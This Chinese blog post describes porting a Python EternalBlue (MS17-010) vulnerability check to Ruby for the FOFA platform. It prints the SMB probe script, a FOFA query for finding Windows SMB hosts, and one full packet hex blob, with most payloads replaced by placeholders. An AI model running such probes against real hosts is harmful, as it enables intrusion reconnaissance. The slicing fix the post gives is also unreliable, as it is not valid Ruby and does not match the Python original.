内容简介:如何转换永恒之蓝(Eternalblue)的POC
这个POC价值20个F币(20F币=300人民币)。最近写了一些POC在FOFA平台拿了点零花钱,不过我更喜欢帮助其他小伙伴,大家一起分享。大牛们写文章越来越少,小牛们只能报团取暖。
刚好,一些客户没有从勒索病毒“永恒之蓝”的阴影中走出来,看FOFA上还没有此POC,我准备写一个。
一开始以为FOFA只支持Web应用层的POC,不能支持网络层的。研究后发现FOFA是支持 Ruby 的POC,Ruby能做Web编程和系统编程。于是我给自己定了目标:将MS17010的POC录进FOFA里面。
研究 Python 的shellcode
经过一翻研究,我决定将巡风的POC转成Ruby的POC,FOFA只支持Ruby,不支持Python,这个跟seebug相反。
在t00ls有哥们说我本末倒置了:巡风的POC就是从MSF的EXP转的,而MSF的EXP是Ruby写的,囧。那我还转个啥?
当然不是这样!不是我不能用MSF的shellcode,而是刚学习Ruby,暂时没有这个能力读懂MSF框架的代码,二来巡风的也是将MS17010的exp整合的很好。而其他的Python版本的POC都是按Windows操作系统分类的,要么就是调用方程式黑客武器的那个XML和EXE文件实现的。
而巡风的Python脚本是支持所有Windows操作系统的。
代码如下:(ps:不想看的老司机们用力一划,就下去了)
#-*- coding: UTF-8 -*- import binascii import socket FOFAquery = 'protocol=smb&& banner="windows"' defget_tree_connect_request(ip, tree_id): ipc = "005c5c" + binascii.hexlify(ip) + "5c49504324003f3f3f3f3f00" ipc_len_hex = hex(len(ipc) / 2).replace("0x", "") smb = "ff534d4275000000001801280000000000000000000000000000729c" + binascii.hexlify( tree_id) + "c4e104ff00000000000100" + ipc_len_hex + "00" + ipc tree = "000000" + hex(len(smb) / 2).replace("0x", "") + smb tree_connect_request = binascii.unhexlify(tree) return tree_connect_request defcheck(ip, port, timeout): negotiate_protocol_request = binascii.unhexlify( "shellcode区域") session_setup_request = binascii.unhexlify( "shellcode区域") try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) s.connect((str(ip), int(port))) s.send(negotiate_protocol_request) s.recv(1024) s.send(session_setup_request) data = s.recv(1024) user_id = data[32:34] session_setup_request_2 = binascii.unhexlify( "00000150ff534d4273000000001801280000000000000000000000000000729c" + binascii.hexlify( user_id) + "shellcode区域") s.send(session_setup_request_2) s.recv(1024) session_setup_request_3 = binascii.unhexlify( "shellcode区域") s.send(session_setup_request_3) data = s.recv(1024) tree_id = data[32:34] smb = get_tree_connect_request(ip, tree_id) s.send(smb) s.recv(1024) POC = binascii.unhexlify( "0000004aff534d422500000000180128000000000000000000000000" + binascii.hexlify( user_id) + "729c" + binascii.hexlify( tree_id) + "shellcode区域") s.send(POC) data = s.recv(1024) if "\x05\x02\x00\xc0" in data: return True return False s.close() except Exception,e: #print str(e) return False defverify(hostinfo): ip,port = hostinfo.split(":") result = check(ip,port,5) return result if __name__ == '__main__': print verify("8.8.8.8.230:445")
转为Ruby的shellcode
我根据其思路,将其中的shellcode转化为Ruby语言就达到我的目的了。
FOFA客户端的框架比其他的框架简单,一会我就准备好了代码,可是发现运行的时候卡在这边,百思不得骑姐???
加了begin和rescue..end也没有爆出什么异常。
按Ctrl+c发现连接被重置,但是不科学呀?shellcode完全和Python的一模一样啊。
检查了几遍程序发现没有语法问题,也没有逻辑问题。
可是之前没有出现这个问题啊,扫描的时候能扫出没有补丁的还有关闭445端口的,但是扫到有漏洞的时候总是卡死在一个界面。
小伙伴看到说:小伙子啊,你这样不给力啊T T。
心怀不惩的我去吃饭,神秘大牛将最后一口饭吃下去之后,抿了下嘴巴,说半小时搞不定来找我。
半小时后,我只能去找他了。
定位问题
下面是他表演的时刻,文笔有限,尽量还原当时的情景。
首先,我将环境给他看了下,他说肯定是你shellcode哪些字符出问题。
我:不可能啊,都是复制粘贴进去的。
他:你能保证你发的包出去就是对的?
我:…
他:来,环境搞好。
我汹汹打开虚拟机
多么精致的2003R2啊,可惜我就是没有把POC弄好。
首先确认IP地址。很多次我搞错IP,有同感的举手:)。
先用Python检测确定这个系统存在漏洞POC。
提示True,说明存在漏洞。(值得一提的一点是先发送错误的payload会让之后正确的payload也利用失败,这个时候请重启系统)
那么这时候我们开启Wireshark抓包再次利用一下。
设定如下:
将抓取到Python发送的数据包保存为230_Python.pcapng
用Ruby发包,抓取Ruby发送的数据包保存为230_Ruby.pcapng
期中Ruby爆出的异常是:An existing connection was forcibly closed by remote host(被远程主机强制断开了,定位到46行。
按照出异常的经验,一般是前面数据包包的shellcode出现问题导致主机主动断开连接。然后我分析了三次数据包,发包和收包。
这个漏洞是基于445端口的SMB服务。
图:由攻击者发送的第3个SMB包
下图右侧Ruby的POC发送第三个时显示红色Malformed Packet(恶意格式的数据包)
图:Python和Ruby发送的第3个数据包,正常和异常效果对比
右边是Ruby的包,左边是Python的包。右边变红了,这个比股票变绿了可怕。
选择第3个由客户端发送的SMB包,右键,Copy(复制)->Byte(位)->OffsetHex。复制出数据包的Hex值发现明显不相同(不相同处要标红)。相同的POCshellcode为何发送的数据包不一样呢?
图:Python和Ruby发送的数据包内容不一样
而shellcode是一样的
code区域 :Python的MS17010利用shellcode
session_setup_request_2 = binascii.unhexlify( "00000150ff534d4273000000001801280000000000000000000000000000729c" + binascii.hexlify( user_id) + "c4e10cff000000dfff0200010000000000f200000000005cd0008015014e544c4d53535000030000001800180040000000780078005800000002000200d000000000000000d200000020002000d200000000000000f2000000050208a2ec893eacfc70bba9afefe94ef78908d37597e0202fd6177c0dfa65ed233b731faf86b02110137dc50101000000000000004724eed7b8d2017597e0202fd6177c0000000002000a0056004b002d005000430001000a0056004b002d005000430004000a0056004b002d005000430003000a0056004b002d00500043000700080036494bf1d7b8d20100000000000000002e003400310042006c007400410031004e005000590074006200490055004700300057696e646f7773203230303020323139350057696e646f7773203230303020352e3000") s.send(session_setup_request_2) s.recv(1024)
code区域 :Ruby的MS17010利用shellcode
buf3 = "00000150ff534d4273000000001801280000000000000000000000000000729c" + user_id.unpack( 'H*').first + "c4e10cff000000dfff0200010000000000f200000000005cd0008015014e544c4d53535000030000001800180040000000780078005800000002000200d000000000000000d200000020002000d200000000000000f2000000050208a2ec893eacfc70bba9afefe94ef78908d37597e0202fd6177c0dfa65ed233b731faf86b02110137dc50101000000000000004724eed7b8d2017597e0202fd6177c0000000002000a0056004b002d005000430001000a0056004b002d005000430004000a0056004b002d005000430003000a0056004b002d00500043000700080036494bf1d7b8d20100000000000000002e003400310042006c007400410031004e005000590074006200490055004700300057696e646f7773203230303020323139350057696e646f7773203230303020352e3000" buf3 = [buf3].pack('H*')
找到答案
难道是Ruby的Hex解码和Python的Hex解码有差异? 相同的shellcode,不同语言,发送不同的数据包。
神秘大牛很确定得告诉我这个是不可能的!问题可能来自这2者语法不同
神秘大牛怀疑是:Python中的切片和Ruby中的字符串截取不一样。
s.send(session_setup_request) data = s.recv(1024) user_id = data[32:34]
打开Ruby的调试环境:irb
定义一个变量a=’10086’
用a[2..4]做一个切片,我们从中可以看出a在内存的位置是从0算起的,共三位,2~4就是“086”
再看看Python
a = "10086" print a[2:4]
运行结果:
运行的结果居然是“08”。
Python的切片是最后一位属于界定位,不包含在内。
所以将Ruby中的切片改为:[32:33]就行了。
还有一个小坑:,
Ruby会自动对字符识别做转换,在Python不会,所以Ruby在转换的时候就会报错,解决的方法就是加一个编码转化回ascii。
Code区域:
ifdata.include? "\x05\x02\x00\xc0".force_encoding('ASCII-8BIT')
成就感
总结下,要使用一门语言还是要学习深入一点~
而Ruby我第一次用(/ □ \)
硬着头皮上了~重要的还是细心,一步步解决问题明显很迷人~~。然后放一下扫描的图片。
以上所述就是小编给大家介绍的《如何转换永恒之蓝(Eternalblue)的POC》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- JavaScript进阶系列-类型转换、隐式类型转换
- Android 多国语言转换 Excel 和 Excel 转换为 string
- [SSL证书转换(一)]关于JKS 转换成 CRT 和 KEY
- c++中几种常见的类型转换。int与string的转换,float与string的转换以及string和long类型之间的相互...
- Protocol Buffer使用转换工具将proto文件转换成Java文件流程及使用
- 开源 | Alita:一套把 React Native 代码转换成微信小程序代码的转换引擎工具
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。